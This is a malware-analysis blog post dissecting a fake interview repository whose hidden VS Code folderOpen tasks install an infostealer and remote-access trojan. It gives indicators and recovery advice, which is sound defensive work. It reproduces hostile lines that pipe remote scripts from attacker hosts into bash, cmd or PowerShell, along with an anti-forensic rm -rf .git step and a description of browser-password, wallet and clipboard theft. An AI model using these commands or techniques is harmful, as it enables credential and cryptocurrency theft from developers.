All posts

Is VS Code safe for a repo you never run?

Most of us follow one simple rule with code we don't trust - read it, don't run it. A fake interview repo shows why opening the folder is already running it.

TL;DR: No. A fake job-interview repository I received ran a three-stage infostealer and remote-access trojan (RAT) the moment its folder was opened in a trusted VS Code window. I never typed npm install or npm start. This post is the low-level teardown. For the high-level overview of all the fake interviews I scanned, and how to protect yourself, see Three fake interviews, three malware repos.

Note: Everything below was done with static analysis only. Remote stages were downloaded as text with curl -o and never executed. URLs and IPs are defanged (hxxps, [.]), so don’t visit them.

Contents</summary>

  1. The repo
  2. Infection chain
  3. The trigger: tasks hidden in settings.json
  4. The decoy code
  5. Stage 1: bootstrap
  6. Stage 2: connect-runner
  7. Stage 3: worker.js
  8. Child 1: browser and wallet stealer
  9. Child 2: mass file exfiltration
  10. Child 3: remote access trojan
  11. Same idea, other tricks
  12. Attribution
  13. Indicators of compromise
  14. Recommendations

</details>

The repo

   
Name ai-agent-marketplace (“Decentralized AI Agent Marketplace”, “DAAM-DIS”)
Delivered as Job-interview take-home task, October 2026
Stack React + Vite front end, Express back end, Solidity/Hardhat contracts
Git history One commit, "upload", by a throwaway daambuilder identity, dated 2026-10-09
Verdict Malicious: multi-stage infostealer + RAT, delivered through a VS Code auto-run task

Infection chain

open folder in VS Code (trusted)
  └─ .vscode/settings.json  task "ExecutionPolicy"  (runOn: folderOpen, hidden output)
       └─ curl|wget|irm  hxxps://cloudfluxio[.]store/api/terminal/bootstrap?os=…&flag=7   [Stage 1]
            ├─ installs portable Node.js v22 → ~/.local/share/daam-demo/node (if node < 19)
            └─ downloads + runs …/api/terminal/connect-runner?flag=7                       [Stage 2]
                 └─ downloads …/api/terminal/script?flag=7
                    → $TMP/daam-extra-XXXX/worker.js, spawned detached + hidden            [Stage 3]
                       ├─ npm install sql.js socket.io-client form-data axios (silent, temp dir)
                       ├─ child 1  "ldbScript"         browser passwords + wallet extensions + keychain
                       ├─ child 2  "autoUploadScript"  recursive file exfiltration
                       └─ child 3  "socketScript"      RAT: remote shell, file browser, clipboard logger
  └─ task "Remove workspace settings": rm .vscode/settings.json; rm -rf .git   (anti-forensics)

The trigger: tasks hidden in settings.json

Most people who know about this attack check .vscode/tasks.json. Here, that file contained only:

{ "version": "2.0.0" }

The real tasks were in .vscode/settings.json, under a "tasks" key, which VS Code also honors:

Task label Trigger Behaviour
ExecutionPolicy runOn: folderOpen Windows: powershell -NoProfile -ExecutionPolicy Bypass -Command "try { Invoke-RestMethod -Uri 'hxxps://cloudfluxio[.]store/api/terminal/windows?flag=7' \| Invoke-Expression } finally { exit }"
Linux: wget -qO- 'hxxps://cloudfluxio[.]store/api/terminal/bootstrap?os=linux&flag=7' \| bash >/dev/null 2>&1
macOS: curl -fsSL 'hxxps://cloudfluxio[.]store/api/terminal/bootstrap?os=mac&flag=7' \| bash >/dev/null 2>&1
presentation.close: true closes the terminal panel.
Initialize VScode settings. runOn: folderOpen Decoy. Prints ... and sleeps 2 s so the activity looks normal.
Remove workspace settings runOn: folderOpen, dependsOn the two above, in sequence rm -f .vscode/settings.json; rm -rf .git. On Windows it first runs attrib -r -s -h .git\* /s /d so the delete succeeds.

That last task is anti-forensics. After infection, the trigger and the git history are both gone, so the victim has nothing left to inspect.

Why “you never ran it” doesn’t help: runOn: folderOpen runs the task as soon as you open the folder and answer “Yes, I trust the authors” in the Workspace Trust prompt. Many people click that without thinking, or have trust prompts turned off.

The decoy code

Everything else was built to pass a quick review:

File / area Result
package.json (root, frontend/, backend/) No preinstall / install / postinstall / prepare hooks. Mainstream dependencies (express, cors, jsonwebtoken, vite, react, tailwind, hardhat).
package-lock.json 487 entries, all resolved from registry.npmjs.org. No git, tarball, or file: sources, no hasInstallScript packages, no typosquats.
Lockfile drift @noble/curves and @noble/hashes are in backend/package.json but missing from the lockfile. Looks like sloppiness, not an attack.
setup.js Benign. Checks the Node version, copies .env.example to .env, runs npm ci/install --ignore-scripts.
backend/src/** Benign mock Express API. No outbound network calls, no eval/exec.
frontend/src/** Benign React UI. MetaMask is used only for eth_requestAccounts, eth_chainId and personal_sign.
contracts/** Standard ERC-721 marketplace and revenue-sharing contracts, plus tests.
.vscode/log-workspace-open.js Writes OS, hostname and Node version to a local log. Not referenced by any task. A leftover or decoy.
frontend/src/img/background.jpg Actually a PNG. Ends exactly at IEND, no appended data.
docs/**, README.md, SETUP.md No zero-width or bidi characters, no HTML comments, no instructions aimed at AI assistants.

The README and SETUP stress npm install --ignore-scripts for safety. That builds trust, and costs the attacker nothing, because the real attack doesn’t go through npm at all.

Stage 1: bootstrap

The C2 server sends cache-control: no-store, so the payload can change on any request.

  • Makes sure Node.js 19 or newer is available. If it isn’t, it downloads the official Node v22.14.0 tarball (on Windows, the LTS MSI, extracted with msiexec /a … /qn) into ~/.local/share/daam-demo/node or %LOCALAPPDATA%\daam-demo\node. Using legitimate, signed Node binaries helps it avoid antivirus detection.
  • Downloads Stage 2 to $TMP/daam-connect-runner.XXXXXX.js, runs it with node, and deletes the file on exit.

Stage 2: connect-runner

Plain, unobfuscated JavaScript:

  • Fetches Stage 3 from …/api/terminal/script?flag=7 (overridable with the EXTRA_SCRIPT_URL env variable).
  • Writes it to $TMP/daam-extra-XXXXXX/worker.js, with a prelude that swallows all exceptions.
  • Spawns it with { detached: true, windowsHide: true, stdio: ignore→log files }, adds CREATE_NO_WINDOW (0x08000000) on Windows, then calls child.unref(). The worker outlives the VS Code terminal and stays invisible.
  • Contains a kill switch, DAAM_NO_EXTRA=1, and DAAM_DEBUG* switches. These look like the operator’s own testing hooks.

Stage 3: worker.js

A 4.5 MB file, obfuscated with obfuscator.io / javascript-obfuscator:

  • a rotated string array of 26,409 entries;
  • mixed base64 and RC4 string encoding with 84 keys;
  • split strings (5-character chunks) and proxy objects;
  • dead-code injection (if ("bssYC" !== "bssYC"));
  • self-defending regex checks and debugger anti-debug loops on a setInterval.

How I decoded it without running it:

  1. Extracted only the pure decoder functions (the string-array accessors and the rotation IIFE) and ran them in an empty Node vm context with no require, no process, and no network.
  2. Ran an acorn AST pass to resolve 88,732 wrapper calls into literal strings, fold concatenations, and inline the proxy objects.
  3. Removed about 900 dead constant tables and wrappers.

That took it from 145k lines down to about 1,600 readable ones. The three child payloads are embedded as plain-text JavaScript templates, so they came out in full.

Decoded configuration:

const u_s = "http://167.88.172[.]115:8086/upload"; // file upload, used by autoupload + RAT
const l_s = "http://167.88.172[.]115:8085/upload"; // browser/wallet loot upload
const s_s = "http://167.88.172[.]115:8087";        // RAT: socket.io, /api/notify, /api/log
const u_k = 507; // operator / campaign key, sent as "userkey"/"ukey" header
const t   = 5;   // campaign/build id, used in lock-file names (pid.5.N.lock)
// plus a hard-coded HMAC secret for the upload "validation" header

Main routine:

  1. Logs “Starting client” to the C2.
  2. Silently runs npm install sql.js socket.io-client form-data axios [puppeteer] --no-save --loglevel silent in a temp directory.
  3. Writes three child scripts to $TMP and spawns each one detached and hidden. A lock file $TMP/pid.5.{1,2,3}.lock holding {pid, startedAt} stops duplicate instances.

Child 1: browser and wallet stealer

ldbScript, lock file pid.5.1.lock.

  • 13 browsers: Chrome, Brave, AVG Browser, Edge, Opera, Opera GX, Vivaldi, Kiwi, Yandex, Iridium, Comodo Dragon, SRWare Iron, Chromium. Every profile (Default, Profile *).
  • Every OS, including WSL. On WSL it runs cmd.exe /c echo %USERNAME% or walks /mnt/c/Users/* to get at the Windows-side browsers.
  • Master key theft and decryption:
    • Windows: reads Local State → os_crypt.encrypted_key, then decrypts it with DPAPI through a temporary PowerShell script ($TMP/decrypt-key-*.ps1, ProtectedData::Unprotect, both CurrentUser and LocalMachine scopes).
    • macOS: security find-generic-password -w -s "<Browser> Safe Storage".
    • Linux: secret-tool lookup application …, or Python secretstorage over D-Bus.
    • Then AES-GCM decryption of the v10/v11 password blobs.
  • Uploaded to :8085:
    • Login Data, Login Data For Account and Web Data (autofill, saved cards);
    • the decrypted passwords;
    • Local Extension Settings/<id>/* for 40 crypto-wallet extensions (list below);
    • the Brave built-in wallet;
    • on macOS, ~/Library/Keychains/login.keychain-db;
    • a sysinfo.txt with host, OS, username and platform.
  • Re-runs 11 times, 30 seconds apart, to catch new data.
  • Has a disabled (if (false && …)) Chrome remote-debugging / puppeteer path (--remote-debugging-port=9222) for newer macOS Chrome builds, ready to be switched on.

Child 2: mass file exfiltration

autoUploadScript, lock file pid.5.2.lock.

  • Priority directories:
    • ~/Desktop, ~/Documents, ~/Downloads
    • ~/Projects, ~/projects, ~/Development, ~/development, ~/Code, ~/code, ~/Code Projects, ~/source, ~/Source
    • ~/Library/CloudStorage, ~/OneDrive, ~/Google Drive, ~/GoogleDrive
    • /mnt on WSL
  • Then everything else: the whole home directory on Unix, every drive letter on Windows.
  • Uploads to :8086 any file whose name matches about 250 patterns, including:
    • .env, config, .yaml, .toml, .ini;
    • id_rsa, id_ed25519, .pem, .p12, .pfx, .jks, .keystore;
    • seed, mnemonic, recovery, 12words, bip39, privatekey, wallet, metamask, phantom, ledger, trezor, exodus, electrum;
    • password, credential, token, api_key, secret;
    • .sqlite, .db, .doc(x), .pdf, .xls(x), .txt, .md, .csv, .json, .js, .ts;
    • .png, .jpg (for screenshots of seed phrases);
    • cookie, session, bank, financ, hardhat, truffle and more.
  • Files up to 5 MB, with a 120 ms throttle and retries, to stay quiet on the network.

Child 3: remote access trojan

socketScript, lock file pid.5.3.lock.

  • Beacon: POST http://167.88.172[.]115:8087/api/notify with host, OS, username and the campaign key. Logs go to /api/log.
  • Persistent socket.io connection to ws://167.88.172[.]115:8087, with these events:
    • command: runs arbitrary shell commands (exec, 300 MB buffer, hidden window) and returns the output. Code 102 lists a directory, 107 uploads a chosen file, 108 uploads a whole folder (25 MB per file).
    • shellOpen / shellInput / shellResize / shellClose / shellDetach: a fully interactive remote terminal, using a PTY where available and a hidden TTY backend on Windows.
    • processControl: starts or stops the other two children.
    • whour: identifies the host.
  • On connect: searches the whole system for .env files (Get-ChildItem -Recurse across all drives on Windows, find ~ on Unix) and uploads them.
  • Clipboard logger: reads the clipboard every second (PowerShell Clipboard::GetText(), pbpaste, xclip/xsel, or WSL → Windows) and sends every new value to the C2. Copied passwords, seed phrases, API keys and wallet addresses all leak this way.

Persistence: none in this build (no Run keys, LaunchAgents, cron or systemd units). The processes live until reboot or until they’re killed. It doesn’t really need persistence: the theft finishes in minutes, and the RAT can install anything it wants afterwards.

Same idea, other tricks

Two other “interview” repos I received this year used the same idea (run on open, stay hidden) with different mechanics. Both got a BLOCK verdict from devguard-scanner.

April 2026: plain tasks.json + install hook. Two folderOpen tasks with "echo": false. One silently runs npm install, the other pipes a per-OS script into a shell:

.vscode/tasks.json:51  curl -L 'hxxps://vscodesetting-task.vercel[.]app/api/settings/mac' | bash
.vscode/tasks.json:54  wget -qO- 'hxxps://vscodesetting-task.vercel[.]app/api/settings/linux' | sh
.vscode/tasks.json:57  curl --ssl-no-revoke -L hxxps://vscodesetting-task.vercel[.]app/api/settings/windows | cmd
package.json:58        "prepare": "node server/server.js"

The silent npm install also fires the prepare lifecycle hook, so there are two independent ways in. The repo also committed node_modules, a known place to hide modified packages.

June 2026: a loader in tailwind.config.js. No .vscode folder and no install hooks at all. Line 890 of tailwind.config.js looks empty in an editor, but after 1,326 spaces it holds obfuscator.io output:

tailwind.config.js:890  <…1326 spaces…> const a0ag=a0a1,a0ak=a0a1,…;(function(a0,a1){…while(!![]){try{const a3=parseInt(ab(0x178))…

tailwind.config.js is executed by Vite/PostCSS during npm run dev and by the Tailwind CSS IntelliSense extension, which loads the project config to power autocomplete. So a file most people would call “just config” is actually code that runs. To see a hidden line like that:

sed -n '890p' tailwind.config.js | cut -c1-2000
awk 'length > 300 { print FILENAME ":" FNR ": " length " chars" }' $(git ls-files)

Attribution

The tradecraft matches the publicly reported “Contagious Interview” fake job-interview campaigns: a crypto/Web3 take-home task, VS Code folderOpen tasks, a BeaverTail-like Node stealer with the same browser and wallet-extension list, and InvisibleFerret-like RAT functionality (ported to JavaScript here). Staging sits on a cheap domain on shared hosting, and the C2 is a bare-IP VPS. I can’t confirm attribution to any specific actor.

Indicators of compromise

Network

  • cloudfluxio[.]store: /api/terminal/bootstrap, /api/terminal/windows, /api/terminal/connect-runner, /api/terminal/script
  • 167.88.172[.]115 on TCP 8085, 8086 (HTTP /upload) and 8087 (/api/notify, /api/log, socket.io/WebSocket)
  • HTTP headers userkey: 507, t: 5, validation: <hmac>, file-metadata: …
  • vscodesetting-task.vercel[.]app/api/settings/{mac,linux,windows} (April 2026 repo)

Filesystem

  • ~/.local/share/daam-demo/ and %LOCALAPPDATA%\daam-demo\
  • $TMP/daam-connect-runner*.js, $TMP/daam-extra-*/worker.js (plus worker.log, worker.out.log, worker.err.log)
  • $TMP/pid.5.1.lock, $TMP/pid.5.2.lock, $TMP/pid.5.3.lock
  • $TMP/.upload_<timestamp>_*, $TMP/decrypt-key-*.ps1, $TMP/*_login_data_*.db, $TMP/remote-shell-bashrc-*.sh, %TEMP%\daam-node-*.msi
  • A repo folder where .vscode/settings.json and .git have disappeared

Process

  • node <tmp>/daam-extra-*/worker.js, and node processes started from $TMP with --max-old-space-size=4096 --no-warnings
  • powershell -WindowStyle Hidden -EncodedCommand … repeating every second (clipboard polling)

SHA-256 of remote stages (as served 2026-10-10)

Stage SHA-256
1, Linux d48dd7cc52b190516120e2ab6feaad57536fd60086d837e40019d64c8a3a1983
1, macOS e311874df325e1c522916c29b3e5f0f337bee5ef68421db3112541d6961c3f1e
1, Windows 506f76bbcc9c1365498868e773ceeaec4cd43f2f67e3c2dcf027113487780234
2, connect-runner 37d5d02a2d28030f2abacc5ec530eb7be52568c611d88d0566222d512f737797
3, worker.js b5eacd772937996891a2cc8b399f068cda7958ccff1c0cc71dd80f02040a8872

Wallet extension IDs targeted (40)</summary>

nkbihfbeogaeaoehlefnkodbefgpgknn  (MetaMask)          ejbalbakoplchlghecdalmeeeajnimhm  (MetaMask – Edge)
acmacodkjbdgmoleebolmdjonilkdbch  (Rabby)             bfnaelmomeimhlpmgjnjophhpkkoljpa  (Phantom)
ibnejdfjmmkpcnlpebklmnkoeoihofec  (TronLink)          egjidjbpglichdcondbcbdnbeeppgdph  (Trust Wallet)
nphplpgoakhhjchkkhmiggakijnkhfnd  (TON Wallet)        omaabbefbmiijedngplfjmnooppbclkk  (Tonkeeper)
bhhhlbepdkbapadjdnnojkbgioiodbic  (Solflare)          aeachknmefphepccionboohckonoeemg  (Coin98)
aflkmhkiijdbfcmhplgifokgdeclgpoi                      agoakfejjabomempkjlepdflaleeobhb  (Core)
aholpfdialjgjfhomihkjbmgjidlcdno  (Exodus Web3)       afbcbjpbpfadlkmhmclhkeeodmamcflc  (Math Wallet)
cgbogdmdefihhljhfeffkljbghamglni                      dmkamcknogkgcdfhhbddcghachkejeap  (Keplr)
dlcobpjiigpikoobohmabehhmhfoodbb  (Argent X)          efbglgofoippbgcjepnhiblaibcnclgk  (Martian)
ejjladinnckdgjemekebdpeokbikhfci  (Petra)             fhbohimaelbohpjbbldcngcnapndodjp  (Binance Wallet)
fhkbkphfeanlhnlffkpologfoccekhic                      fhmfendgdocmcbmfikdcogofphimnkno
fldfpgipfncgndfolcbkdeeknbbbnhcc  (MyTonWallet)       gjnckgkfmgmibbkoficdidcljeaaaheg
hifafgmccdpekplomjjkcfgodnhcellj  (Crypto.com DeFi)   hmeobnfnfcmdkdcmlblgagmfpfboieaf
hnfanknocfeofbddgcijnmhnfnkdnaad  (Coinbase Wallet)   jiidiaalihmmhddjgbnbgdfflelocpak  (Bitget Wallet)
jblndlipeogpafnldhgmapagcccfchpi  (Kaikas)            jmbkjchcobfffnmjboflnchcbljiljdk
jnjpmcgfcfeffkfgcnjefkbkgcpnkpab                      kpkmkbkoifcfpapmleipncofdbjdpice
khpkpbbcccdmmclmpigdgddabeilkdpd  (Suiet)             ldinpeekobnhjjdofggfgjlcehhmanaj
lgmpcpglpngdoalbgeoldeajfclnhafa  (SafePal)           mcohilncbfahbmgdjkbpemcciiolgcge  (OKX Wallet)
mopnmbcafieddcagagdcbnhejhlodfdd                      nkklfkfpelhghbidbnpdfhblphpfjmbo
penjlddjkjgpnkllboccdgccekpkcbin                      ppbibelpcjmhbdihakflkdcoccbgbkpo  (UniSat)

Names are best-effort identifications from public Chrome Web Store IDs. Unlabeled IDs weren’t confirmed.

</details>

Recommendations

Right now

  1. Delete the repo, and report the sender to the platform where you met them.
  2. Never open untrusted repos in VS Code (or Cursor, Windsurf, or other forks) outside Restricted Mode. Add this to your user settings:

    {
      "task.allowAutomaticTasks": "off",
      "security.workspace.trust.enabled": true
    }
    
  3. Block cloudfluxio[.]store and 167.88.172[.]115 on your network or firewall.
  4. Scan before you open: pipx install devguard-scanner && devguard scan https://github.com/owner/repo. It doesn’t replace any of the steps above (see the overview post for why).

If the repo was ever opened and trusted in VS Code, assume full compromise:

  1. Disconnect the machine from the network. Look for the IOCs above, kill the node processes, and delete the files listed.
  2. From a different, clean device:
    • Create new wallets with new seed phrases and move all crypto funds. Wallet vaults and seed files may already be stolen.
    • Change every browser-saved password, starting with email, password manager, banking, GitHub/GitLab, cloud consoles and npm. Enable or re-enroll 2FA.
    • Sign out of all sessions (Google, GitHub, Slack and so on) to invalidate stolen cookies.
    • Rotate all secrets from .env files and configs: API keys, cloud credentials, DB passwords, deploy tokens. Rotate SSH keys, and remove the old public keys from servers and GitHub.
    • On macOS, change your login password, because the keychain database was taken.
  3. Reinstall the operating system. The RAT gave the attacker arbitrary command execution, so you can’t confirm by hand that the machine is clean.